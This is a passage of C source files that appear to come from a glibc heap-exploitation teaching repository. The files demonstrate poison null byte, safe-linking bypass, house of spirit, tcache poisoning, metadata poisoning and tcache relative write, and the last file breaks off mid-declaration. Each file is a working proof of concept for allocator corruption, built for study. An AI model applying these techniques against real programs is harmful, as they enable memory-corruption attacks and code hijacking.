    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.38/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.38/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.38/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.38/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.38/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.38/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long 